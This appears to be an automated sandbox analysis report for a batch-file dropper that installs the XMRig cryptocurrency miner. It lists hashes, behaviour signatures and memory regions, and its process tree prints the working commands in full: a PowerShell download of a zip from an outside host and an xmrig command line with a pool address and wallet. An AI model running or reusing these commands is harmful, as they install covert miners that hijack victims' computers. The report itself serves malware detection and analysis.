Analysis

  • max time kernel
    1800s
  • max time network
    1799s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/11/2023, 22:48

General

  • Target

    tesy - Copy (8).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (8).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3852
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2668
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1004
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:932
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:1764

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    49e7d5f2a296b59afec08bc314bed998

    SHA1

    7f898bf195ffd46ce2d19fad0ce33155f6e47f5f

    SHA256

    394832dfefa5e2e6204b60708a2ca33bb9d2f529664419bc050975f4b80faefe

    SHA512

    f64579fdac0bfebad4c20ad575b8ea45136e295fba950da4cbf84402228a3897b2e2deb4eb4605deb5df93321b1dc15c8a878da36016d7e5e060182142fdf839

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    40edd0e0c4a0b31c6a61ca5e278d0c9e

    SHA1

    bf1cf26cc64011312b36ffe527d97d79a00129fd

    SHA256

    340748700a353b9d5647fafb14defa7f8c4237ff9f7dca9a834ada839f577eb6

    SHA512

    c2db159f2e9363f5e72f451dbb6295a4d7f0145002b749156756fed698b88de59dea505c33ff07864020daa8b4f5d43da69a1ff46de9875165cd7d4897ff1e25

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kyxwpdyn.esp.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\test1.zip

    Filesize

    3.2MB

    MD5

    95452958f42b1b93f0c887f59d84d19f

    SHA1

    c861dc457d57471ab42879f49cc8fe171e7c9b1c

    SHA256

    dc24f4d37898468e34bee09afdcb7e1fc681ecbac667bc8eb3c62d035c0fd255

    SHA512

    96207cb7d6cb2977acfbc5e9f507fe0b1b43a5041e5ea50c63f4f7db620fa14512066781c306ba123b0e6aafbb048c4b042f5fdb21e97a48a536acd783b2e072

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    278B

    MD5

    080123b6eac4a332d3f2b11f6eb3aa54

    SHA1

    8f3d40eae881e3b871cff2aa85521d727ada2a64

    SHA256

    cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

    SHA512

    0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    4813fa6d610e180b097eae0ce636d2aa

    SHA1

    1e9cd17ea32af1337dd9a664431c809dd8a64d76

    SHA256

    9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

    SHA512

    5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

  • memory/1004-28-0x00007FFDF3A30000-0x00007FFDF44F1000-memory.dmp

    Filesize

    10.8MB

  • memory/1004-33-0x0000026FF5610000-0x0000026FF5622000-memory.dmp

    Filesize

    72KB

  • memory/1004-34-0x0000026FF55F0000-0x0000026FF55FA000-memory.dmp

    Filesize

    40KB

  • memory/1004-32-0x0000026FF2B70000-0x0000026FF2B80000-memory.dmp

    Filesize

    64KB

  • memory/1004-43-0x00007FFDF3A30000-0x00007FFDF44F1000-memory.dmp

    Filesize

    10.8MB

  • memory/1004-31-0x0000026FF2B70000-0x0000026FF2B80000-memory.dmp

    Filesize

    64KB

  • memory/1004-30-0x0000026FF2B70000-0x0000026FF2B80000-memory.dmp

    Filesize

    64KB

  • memory/1764-76-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-84-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-49-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-50-0x00000142C20E0000-0x00000142C2100000-memory.dmp

    Filesize

    128KB

  • memory/1764-51-0x00000142C2100000-0x00000142C2120000-memory.dmp

    Filesize

    128KB

  • memory/1764-52-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-53-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-54-0x00000142C20E0000-0x00000142C2100000-memory.dmp

    Filesize

    128KB

  • memory/1764-55-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-56-0x00000142C2100000-0x00000142C2120000-memory.dmp

    Filesize

    128KB

  • memory/1764-57-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-58-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-59-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-60-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-61-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-62-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-63-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-64-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-65-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-66-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-67-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-68-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-69-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-70-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-71-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-72-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-73-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-74-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-75-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-47-0x00000142C07A0000-0x00000142C07C0000-memory.dmp

    Filesize

    128KB

  • memory/1764-77-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-78-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-79-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-80-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-81-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-82-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-83-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-48-0x00000142C20A0000-0x00000142C20E0000-memory.dmp

    Filesize

    256KB

  • memory/1764-85-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-86-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-87-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-88-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-89-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-90-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-91-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-92-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-93-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-94-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-95-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-96-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-97-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-98-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-99-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-100-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-101-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-102-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-103-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-104-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-105-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-106-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-107-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-108-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-109-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-110-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-111-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-112-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-113-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-114-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/1764-115-0x00007FF6F7C40000-0x00007FF6F8743000-memory.dmp

    Filesize

    11.0MB

  • memory/2668-10-0x000002797F490000-0x000002797F4B2000-memory.dmp

    Filesize

    136KB

  • memory/2668-11-0x00007FFDF3A30000-0x00007FFDF44F1000-memory.dmp

    Filesize

    10.8MB

  • memory/2668-12-0x000002797F570000-0x000002797F580000-memory.dmp

    Filesize

    64KB

  • memory/2668-13-0x000002797F570000-0x000002797F580000-memory.dmp

    Filesize

    64KB

  • memory/2668-17-0x00007FFDF3A30000-0x00007FFDF44F1000-memory.dmp

    Filesize

    10.8MB